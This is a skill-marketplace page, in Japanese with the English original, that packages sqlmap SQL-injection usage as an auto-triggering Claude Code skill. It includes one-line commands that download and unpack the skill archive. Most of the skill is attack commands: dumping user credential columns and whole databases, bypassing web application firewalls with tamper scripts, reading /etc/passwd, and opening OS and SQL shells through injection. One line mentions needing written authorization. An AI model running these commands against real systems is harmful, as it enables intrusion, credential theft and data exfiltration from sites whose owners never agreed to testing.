jpskill.com
🛠️ 開発・MCP コミュニティ

sqlmap

SQLインジェクション脆弱性を検出し悪用するsqlmapは、SQLiテストの自動化、データベース内容の抽出、認証回避、スキーマのダンプなど、データベースに関するセキュリティリスクを効率的に検証するSkill。

📜 元の英語説明(参考)

Detect and exploit SQL injection with sqlmap. Use when a user asks to test for SQL injection, extract database contents, bypass authentication via SQLi, automate injection testing, or dump database schemas.

🇯🇵 日本人クリエイター向け解説

一言でいうと

SQLインジェクション脆弱性を検出し悪用するsqlmapは、SQLiテストの自動化、データベース内容の抽出、認証回避、スキーマのダンプなど、データベースに関するセキュリティリスクを効率的に検証するSkill。

※ jpskill.com 編集部が日本のビジネス現場向けに補足した解説です。Skill本体の挙動とは独立した参考情報です。

⚡ おすすめ: コマンド1行でインストール(60秒)

下記のコマンドをコピーしてターミナル(Mac/Linux)または PowerShell(Windows)に貼り付けてください。 ダウンロード → 解凍 → 配置まで全自動。

🍎 Mac / 🐧 Linux
mkdir -p ~/.claude/skills && cd ~/.claude/skills && curl -L -o sqlmap.zip https://jpskill.com/download/15409.zip && unzip -o sqlmap.zip && rm sqlmap.zip
🪟 Windows (PowerShell)
$d = "$env:USERPROFILE\.claude\skills"; ni -Force -ItemType Directory $d | Out-Null; iwr https://jpskill.com/download/15409.zip -OutFile "$d\sqlmap.zip"; Expand-Archive "$d\sqlmap.zip" -DestinationPath $d -Force; ri "$d\sqlmap.zip"

完了後、Claude Code を再起動 → 普通に「動画プロンプト作って」のように話しかけるだけで自動発動します。

💾 手動でダウンロードしたい(コマンドが難しい人向け)
  1. 1. 下の青いボタンを押して sqlmap.zip をダウンロード
  2. 2. ZIPファイルをダブルクリックで解凍 → sqlmap フォルダができる
  3. 3. そのフォルダを C:\Users\あなたの名前\.claude\skills\(Win)または ~/.claude/skills/(Mac)へ移動
  4. 4. Claude Code を再起動

⚠️ ダウンロード・利用は自己責任でお願いします。当サイトは内容・動作・安全性について責任を負いません。

🎯 このSkillでできること

下記の説明文を読むと、このSkillがあなたに何をしてくれるかが分かります。Claudeにこの分野の依頼をすると、自動で発動します。

📦 インストール方法 (3ステップ)

  1. 1. 上の「ダウンロード」ボタンを押して .skill ファイルを取得
  2. 2. ファイル名の拡張子を .skill から .zip に変えて展開(macは自動展開可)
  3. 3. 展開してできたフォルダを、ホームフォルダの .claude/skills/ に置く
    • · macOS / Linux: ~/.claude/skills/
    • · Windows: %USERPROFILE%\.claude\skills\

Claude Code を再起動すれば完了。「このSkillを使って…」と話しかけなくても、関連する依頼で自動的に呼び出されます。

詳しい使い方ガイドを見る →
最終更新
2026-05-18
取得日時
2026-05-18
同梱ファイル
1

📖 Skill本文(日本語訳)

※ 原文(英語/中国語)を Gemini で日本語化したものです。Claude 自身は原文を読みます。誤訳がある場合は原文をご確認ください。

sqlmap

概要

sqlmap は、SQLインジェクションの検出と悪用を自動化します。主要なデータベース(MySQL、PostgreSQL、MSSQL、Oracle、SQLite)をすべてサポートし、すべてのインジェクション手法(boolean-blind、time-blind、error-based、UNION、stacked queries)をサポートし、データベース全体の抽出、サーバー上のファイルの読み取り/書き込み、SQLインジェクションによるOSコマンドの実行が可能です。

手順

ステップ 1: 基本的な検出

# URLパラメータでSQLインジェクションをテストする
sqlmap -u "https://target.example.com/products?id=1" --batch
# --batch: すべてのプロンプトにデフォルトを使用する(非インタラクティブ)

# POSTパラメータをテストする
sqlmap -u "https://target.example.com/login" \
  --data="username=admin&password=test" \
  --batch

# Cookieとヘッダーでテストする(認証されたセッション)
sqlmap -u "https://target.example.com/api/user?id=1" \
  --cookie="session=abc123" \
  --headers="Authorization: Bearer eyJ..." \
  --batch

# テストするパラメータを指定する
sqlmap -u "https://target.example.com/search?q=test&category=1&page=1" \
  -p "category" \
  --batch

ステップ 2: データベースの列挙

# すべてのデータベースをリストする
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch

# データベース内のテーブルをリストする
sqlmap -u "https://target.example.com/products?id=1" \
  -D webapp_db --tables --batch

# テーブル内のカラムをリストする
sqlmap -u "https://target.example.com/products?id=1" \
  -D webapp_db -T users --columns --batch

# 特定のカラムをダンプする(例:資格情報)
sqlmap -u "https://target.example.com/products?id=1" \
  -D webapp_db -T users -C "username,email,password_hash" --dump --batch

# すべてをダンプする(慎重に使用してください)
sqlmap -u "https://target.example.com/products?id=1" \
  -D webapp_db --dump-all --batch

ステップ 3: 高度なテクニック

# インジェクション手法を指定する
sqlmap -u "https://target.example.com/products?id=1" \
  --technique=BT --batch
# B: Boolean-blind, T: Time-blind, E: Error-based
# U: UNION, S: Stacked queries, Q: Inline queries

# WAFをバイパスするためのTamperスクリプト
sqlmap -u "https://target.example.com/products?id=1" \
  --tamper=space2comment,between,randomcase \
  --random-agent --batch
# space2comment: スペースを /**/ に置き換える
# between: > を NOT BETWEEN 0 AND に置き換える
# randomcase: キーワードの大文字小文字をランダム化する

# REST API JSONパラメータをテストする
sqlmap -u "https://target.example.com/api/search" \
  --data='{"query":"test","limit":10}' \
  --content-type="application/json" \
  -p "query" --batch

# レベルとリスクを上げる(より深いテスト)
sqlmap -u "https://target.example.com/products?id=1" \
  --level=5 --risk=3 --batch
# level 5: cookie、User-Agent、Referer、すべてのパラメータをテストする
# risk 3: 時間依存型およびORベースの重いテストを含む

ステップ 4: 攻撃後の処理

# サーバーからファイルを読み取る(DBユーザーがFILE権限を持っている場合)
sqlmap -u "https://target.example.com/products?id=1" \
  --file-read="/etc/passwd" --batch

# OSシェルを取得する(stacked queries + 権限が必要)
sqlmap -u "https://target.example.com/products?id=1" \
  --os-shell --batch

# SQLシェルを取得する
sqlmap -u "https://target.example.com/products?id=1" \
  --sql-shell --batch

# 現在のDBユーザーと権限を確認する
sqlmap -u "https://target.example.com/products?id=1" \
  --current-user --current-db --is-dba --batch

ステップ 5: アプリケーション全体のクロールとテスト

# サイトをクロールし、見つかったすべてのパラメータをテストする
sqlmap -u "https://target.example.com/" \
  --crawl=3 --batch --forms
# --crawl=3: 深さ3までリンクをたどる
# --forms: HTMLフォームのパラメータもテストする

# Burp/ZAPリクエストファイルを使用する
sqlmap -r captured-request.txt --batch
# captured-request.txt は生のHTTPリクエストファイル

ガイドライン

  • 常に書面による許可を得てください。 許可されていないターゲットに対するSQLインジェクションテストは違法です。
  • --batch --level=1 --risk=1(デフォルト)から始めてください。必要に応じてレベル/リスクを上げてください。
  • --batchモードは自動化に不可欠です。インタラクティブなプロンプトを防ぎます。
  • 時間依存型インジェクションは遅いです。--threads=10を使用して抽出を高速化してください。
  • TamperスクリプトはWAFをバイパスします。一般的なもの: space2comment, between, charencode, randomcase
  • 複雑な認証フローには、Burp Suiteのエクスポートされたリクエストで-r request.txtを使用してください。
  • --dumpはデータを抽出します。実際のペンテストでは、脆弱性を証明するものだけをダンプし、データベース全体はダンプしないでください。
  • sqlmapはDBMSを自動検出します。--dbms=mysqlを使用して検出をスキップしてください(より高速)。
📜 原文 SKILL.md(Claudeが読む英語/中国語)を展開

sqlmap

Overview

sqlmap automates SQL injection detection and exploitation. It supports all major databases (MySQL, PostgreSQL, MSSQL, Oracle, SQLite), all injection techniques (boolean-blind, time-blind, error-based, UNION, stacked queries), and can extract entire databases, read/write files on the server, and execute OS commands through SQL injection.

Instructions

Step 1: Basic Detection

# Test a URL parameter for SQL injection
sqlmap -u "https://target.example.com/products?id=1" --batch
# --batch: use defaults for all prompts (non-interactive)

# Test POST parameters
sqlmap -u "https://target.example.com/login" \
  --data="username=admin&password=test" \
  --batch

# Test with cookies and headers (authenticated sessions)
sqlmap -u "https://target.example.com/api/user?id=1" \
  --cookie="session=abc123" \
  --headers="Authorization: Bearer eyJ..." \
  --batch

# Specify which parameter to test
sqlmap -u "https://target.example.com/search?q=test&category=1&page=1" \
  -p "category" \
  --batch

Step 2: Database Enumeration

# List all databases
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch

# List tables in a database
sqlmap -u "https://target.example.com/products?id=1" \
  -D webapp_db --tables --batch

# List columns in a table
sqlmap -u "https://target.example.com/products?id=1" \
  -D webapp_db -T users --columns --batch

# Dump specific columns (e.g., credentials)
sqlmap -u "https://target.example.com/products?id=1" \
  -D webapp_db -T users -C "username,email,password_hash" --dump --batch

# Dump everything (use cautiously)
sqlmap -u "https://target.example.com/products?id=1" \
  -D webapp_db --dump-all --batch

Step 3: Advanced Techniques

# Specify injection technique
sqlmap -u "https://target.example.com/products?id=1" \
  --technique=BT --batch
# B: Boolean-blind, T: Time-blind, E: Error-based
# U: UNION, S: Stacked queries, Q: Inline queries

# Tamper scripts for WAF bypass
sqlmap -u "https://target.example.com/products?id=1" \
  --tamper=space2comment,between,randomcase \
  --random-agent --batch
# space2comment: replaces spaces with /**/
# between: replaces > with NOT BETWEEN 0 AND
# randomcase: randomizes keyword case

# Test REST API JSON parameters
sqlmap -u "https://target.example.com/api/search" \
  --data='{"query":"test","limit":10}' \
  --content-type="application/json" \
  -p "query" --batch

# Level and risk increase (deeper testing)
sqlmap -u "https://target.example.com/products?id=1" \
  --level=5 --risk=3 --batch
# level 5: tests cookies, User-Agent, Referer, all params
# risk 3: includes heavy time-blind and OR-based tests

Step 4: Post-Exploitation

# Read files from server (if DB user has FILE privilege)
sqlmap -u "https://target.example.com/products?id=1" \
  --file-read="/etc/passwd" --batch

# Get an OS shell (stacked queries + privileges needed)
sqlmap -u "https://target.example.com/products?id=1" \
  --os-shell --batch

# Get a SQL shell
sqlmap -u "https://target.example.com/products?id=1" \
  --sql-shell --batch

# Check current DB user and privileges
sqlmap -u "https://target.example.com/products?id=1" \
  --current-user --current-db --is-dba --batch

Step 5: Crawl and Test Entire Application

# Crawl the site and test all found parameters
sqlmap -u "https://target.example.com/" \
  --crawl=3 --batch --forms
# --crawl=3: follow links up to depth 3
# --forms: test HTML form parameters too

# Use a Burp/ZAP request file
sqlmap -r captured-request.txt --batch
# captured-request.txt is a raw HTTP request file

Guidelines

  • Always have written authorization. SQL injection testing against unauthorized targets is illegal.
  • Start with --batch --level=1 --risk=1 (defaults). Increase level/risk only if needed.
  • --batch mode is essential for automation — prevents interactive prompts.
  • Time-blind injection is slow. Use --threads=10 to speed up extraction.
  • Tamper scripts bypass WAFs. Common: space2comment, between, charencode, randomcase.
  • Use -r request.txt with Burp Suite exported requests for complex auth flows.
  • --dump extracts data. In a real pentest, dump only what proves the vulnerability — not the entire database.
  • sqlmap auto-detects the DBMS. Use --dbms=mysql to skip detection (faster).